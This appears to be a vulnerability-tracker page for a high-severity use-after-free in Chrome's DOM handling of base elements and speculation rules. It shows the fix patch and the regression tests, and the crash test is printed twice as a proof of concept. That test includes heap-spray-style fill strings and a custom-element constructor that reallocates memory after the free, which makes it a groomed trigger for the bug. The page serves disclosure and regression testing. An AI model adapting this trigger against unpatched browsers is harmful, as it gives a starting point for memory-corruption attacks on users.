Chrome · DOM
CVE-2026-110164
UAF in DOM
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html |
modified | |
constructorthird_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html |
modified |
Files Changed
third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.htmlthird_party/blink/renderer/core/html/html_base_element.ccthird_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.htmlthird_party/blink/renderer/core/script/script_loader.cc
Patch
From a2e425e51fb919965ddac06f435f733af96eddf0 Mon Sep 17 00:00:00 2001
From: Joey Arhar <jarhar@chromium.org>
Date: Wed, 07 Oct 2026 12:25:49 -0700
Subject: [PATCH] Do not synchronously fire speculation rules error events on base changes
When a <base> element is inserted, removed, or has its href attribute
modified, Document::ProcessBaseElement() updates the document's base URL
and notifies ScriptLoader::DocumentBaseURLChanged(). If the document
contains an invalid <script type="speculationrules">, reparsing it in
ScriptLoader::AddSpeculationRuleSet() synchronously dispatches error
events on the script element and window, running script while
EventDispatchForbiddenScope is active during DOM insertion, removal, or
attribute cloning.
Fix this by:
1. Checking isConnected() in HTMLBaseElement::ParseAttribute() so
modifying or cloning attributes on a disconnected <base> element does
not call Document::ProcessBaseElement().
2. Returning early in ScriptLoader::DocumentBaseURLChanged() if the
speculation rule set failed to parse, since top-level parse errors do
not depend on the base URL.
Bug: 568730794
Change-Id: Ib0167ae383b089c7548befb797b674212dca1479
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8508876
Commit-Queue: Joey Arhar <jarhar@chromium.org>
Reviewed-by: David Baron <dbaron@chromium.org>
Reviewed-by: Joey Arhar <jarhar@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1713725}
---
diff --git a/third_party/blink/renderer/core/html/html_base_element.cc b/third_party/blink/renderer/core/html/html_base_element.cc
index eb56741..2a233fe 100644
--- a/third_party/blink/renderer/core/html/html_base_element.cc
+++ b/third_party/blink/renderer/core/html/html_base_element.cc
@@ -36,10 +36,13 @@
void HTMLBaseElement::ParseAttribute(
const AttributeModificationParams& params) {
if (params.name == html_names::kHrefAttr ||
- params.name == html_names::kTargetAttr)
- GetDocument().ProcessBaseElement();
- else
+ params.name == html_names::kTargetAttr) {
+ if (IsInDocumentTree()) {
+ GetDocument().ProcessBaseElement();
+ }
+ } else {
HTMLElement::ParseAttribute(params);
+ }
}
Node::InsertionNotificationRequest HTMLBaseElement::InsertedInto(
diff --git a/third_party/blink/renderer/core/script/script_loader.cc b/third_party/blink/renderer/core/script/script_loader.cc
index 8487c19..219cbcf 100644
--- a/third_party/blink/renderer/core/script/script_loader.cc
+++ b/third_party/blink/renderer/core/script/script_loader.cc
@@ -234,6 +234,17 @@
if (GetScriptType() != ScriptTypeAtPrepare::kSpeculationRules) {
return;
}
+ // If the entire rule set failed to parse (which ShouldReportUMAForError()
+ // checks: kSourceIsNotJsonObject or kInvalidRulesetLevelTag), do not reparse
+ // it. Top-level parse errors only depend on the original source text and not
+ // the base URL, so reparsing would always fail with the same error and
+ // synchronously re-dispatch error events in AddSpeculationRuleSet() while
+ // EventDispatchForbiddenScope may be active (e.g. during <base> insertion or
+ // removal).
+ if (!speculation_rule_set_ ||
+ speculation_rule_set_->ShouldReportUMAForError()) {
+ return;
+ }
// We reparse the original source text and generate a new SpeculationRuleSet
// with the new base URL. Note that any text changes since the first parse
// will be ignored.
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..d346281
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<meta charset=utf-8>
+<title>Cloning a customized built-in base element with invalid speculation rules</title>
+<link rel=author href="mailto:jarhar@chromium.org">
+<link rel=help href="https://issues.chromium.org/issues/568730794">
+<base href="data:,x">
+<script type=speculationrules>x</script>
+<script>
+const word = 0x414243444540n;
+const keep = [], fills = [];
+for (let k = 0; k < 16; k++) {
+ const c = [48 + k, 48, 48, 48];
+ for (let slot = 1; slot < 8; slot++) {
+ for (let half = 0; half < 2; half++) {
+ for (let i = 0n; i < 8n; i++) {
+ c.push(Number((word >> (8n * i)) & 255n));
+ }
+ }
+ }
+ fills.push(String.fromCharCode.apply(null, c));
+}
+let armed = false;
+customElements.define('x-b', class extends HTMLBaseElement {
+ constructor() {
+ super();
+ if (!armed) return;
+ armed = false;
+ this.setAttribute('z', '');
+ for (const s of fills) keep.push(document.createTextNode(s));
+ }
+}, { extends: 'base' });
+document.querySelector('script[type=speculationrules]').addEventListener('error', () => {});
+</script>
+<body>
+<select><button><selectedcontent></selectedcontent></button>
+<option selected><script>
+{
+ const b = document.createElement('base', { is: 'x-b' });
+ b.setAttribute('hidden', '');
+ for (let i = 0; i < 6; i++) b.setAttribute('a' + i, '');
+ b.setAttribute('href', 'q');
+ document.body.appendChild(b);
+ getComputedStyle(b).display;
+ document.currentScript.parentNode.appendChild(b);
+ armed = true;
+}
+</script></option>
+</select>
diff --git a/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
new file mode 100644
index 0000000..b989cbc
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#respond-to-base-url-changes">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#update-speculation-rules">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/semantics.html#the-base-element">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script>
+// Invalid inline speculation rules report a TypeError exception on window,
+// which testharness.js's global error listener would otherwise treat as an
+// unexpected harness error.
+setup({ allow_uncaught_exception: true });
+
+promise_test(async t => {
+ const script = document.createElement('script');
+ script.type = 'speculationrules';
+ script.textContent = 'invalid json';
+ t.add_cleanup(() => script.remove());
+
+ let elementErrorCount = 0;
+ let globalErrorCount = 0;
+
+ const elementError = new Promise(resolve => {
+ script.addEventListener('error', () => {
+ elementErrorCount++;
+ resolve();
+ });
+ });
+
+ const onWindowError = e => {
+ e.preventDefault();
+ globalErrorCount++;
+ };
+ window.addEventListener('error', onWindowError);
+ t.add_cleanup(() => window.removeEventListener('error', onWindowError));
+
+ document.head.appendChild(script);
+ await elementError;
+ assert_equals(elementErrorCount, 1, 'initial element error event count');
+ assert_equals(globalErrorCount, 1, 'initial window error event count');
+
+ // Modifying a disconnected <base> element should not trigger base URL updates.
+ const disconnectedBase = document.createElement('base');
+ disconnectedBase.href = 'https://example.com/disconnected/';
+ disconnectedBase.cloneNode(true);
+ assert_equals(elementErrorCount, 1, 'element error count after disconnected base');
+ assert_equals(globalErrorCount, 1, 'window error count after disconnected base');
+
+ // Inserting, updating, and removing a connected <base> element should not
+ // re-fire error events for an already-errored speculationrules script.
+ const base = document.createElement('base');
+ base.href = 'https://example.com/sub1/';
+ t.add_cleanup(() => base.remove());
+ document.head.appendChild(base);
+ base.href = 'https://example.com/sub2/';
+ base.remove();
+
+ await new Promise(resolve => t.step_timeout(resolve, 0));
+ assert_equals(elementErrorCount, 1, 'element error count after base URL changes');
+ assert_equals(globalErrorCount, 1, 'window error count after base URL changes');
+}, 'Base URL changes do not re-fire error events on invalid speculation rules');
+</script>
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
new file mode 100644
index 0000000..d346281
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/semantics/document-metadata/the-base-element/crashtests/base-clone-with-speculation-rules-onerror.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<meta charset=utf-8>
+<title>Cloning a customized built-in base element with invalid speculation rules</title>
+<link rel=author href="mailto:jarhar@chromium.org">
+<link rel=help href="https://issues.chromium.org/issues/568730794">
+<base href="data:,x">
+<script type=speculationrules>x</script>
+<script>
+const word = 0x414243444540n;
+const keep = [], fills = [];
+for (let k = 0; k < 16; k++) {
+ const c = [48 + k, 48, 48, 48];
+ for (let slot = 1; slot < 8; slot++) {
+ for (let half = 0; half < 2; half++) {
+ for (let i = 0n; i < 8n; i++) {
+ c.push(Number((word >> (8n * i)) & 255n));
+ }
+ }
+ }
+ fills.push(String.fromCharCode.apply(null, c));
+}
+let armed = false;
+customElements.define('x-b', class extends HTMLBaseElement {
+ constructor() {
+ super();
+ if (!armed) return;
+ armed = false;
+ this.setAttribute('z', '');
+ for (const s of fills) keep.push(document.createTextNode(s));
+ }
+}, { extends: 'base' });
+document.querySelector('script[type=speculationrules]').addEventListener('error', () => {});
+</script>
+<body>
+<select><button><selectedcontent></selectedcontent></button>
+<option selected><script>
+{
+ const b = document.createElement('base', { is: 'x-b' });
+ b.setAttribute('hidden', '');
+ for (let i = 0; i < 6; i++) b.setAttribute('a' + i, '');
+ b.setAttribute('href', 'q');
+ document.body.appendChild(b);
+ getComputedStyle(b).display;
+ document.currentScript.parentNode.appendChild(b);
+ armed = true;
+}
+</script></option>
+</select>
diff --git a/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
new file mode 100644
index 0000000..b989cbc
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/speculation-rules/inline-speculation-rules-base-url-errors.tentative.html
@@ -0,0 +1,61 @@
+<!DOCTYPE html>
+<link rel="help" href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#respond-to-base-url-changes">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/webappapis.html#update-speculation-rules">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/semantics.html#the-base-element">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script>
+// Invalid inline speculation rules report a TypeError exception on window,
+// which testharness.js's global error listener would otherwise treat as an
+// unexpected harness error.
+setup({ allow_uncaught_exception: true });
+
+promise_test(async t => {
+ const script = document.createElement('script');
+ script.type = 'speculationrules';
+ script.textContent = 'invalid json';
+ t.add_cleanup(() => script.remove());
+
+ let elementErrorCount = 0;
+ let globalErrorCount = 0;
+
+ const elementError = new Promise(resolve => {
+ script.addEventListener('error', () => {
+ elementErrorCount++;
+ resolve();
+ });
+ });
+
+ const onWindowError = e => {
+ e.preventDefault();
+ globalErrorCount++;
+ };
+ window.addEventListener('error', onWindowError);
+ t.add_cleanup(() => window.removeEventListener('error', onWindowError));
+
+ document.head.appendChild(script);
+ await elementError;
+ assert_equals(elementErrorCount, 1, 'initial element error event count');
+ assert_equals(globalErrorCount, 1, 'initial window error event count');
+
+ // Modifying a disconnected <base> element should not trigger base URL updates.
+ const disconnectedBase = document.createElement('base');
+ disconnectedBase.href = 'https://example.com/disconnected/';
+ disconnectedBase.cloneNode(true);
+ assert_equals(elementErrorCount, 1, 'element error count after disconnected base');
+ assert_equals(globalErrorCount, 1, 'window error count after disconnected base');
+
+ // Inserting, updating, and removing a connected <base> element should not
+ // re-fire error events for an already-errored speculationrules script.
+ const base = document.createElement('base');
+ base.href = 'https://example.com/sub1/';
+ t.add_cleanup(() => base.remove());
+ document.head.appendChild(base);
+ base.href = 'https://example.com/sub2/';
+ base.remove();
+
+ await new Promise(resolve => t.step_timeout(resolve, 0));
+ assert_equals(elementErrorCount, 1, 'element error count after base URL changes');
+ assert_equals(globalErrorCount, 1, 'window error count after base URL changes');
+}, 'Base URL changes do not re-fire error events on invalid speculation rules');
+</script>
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page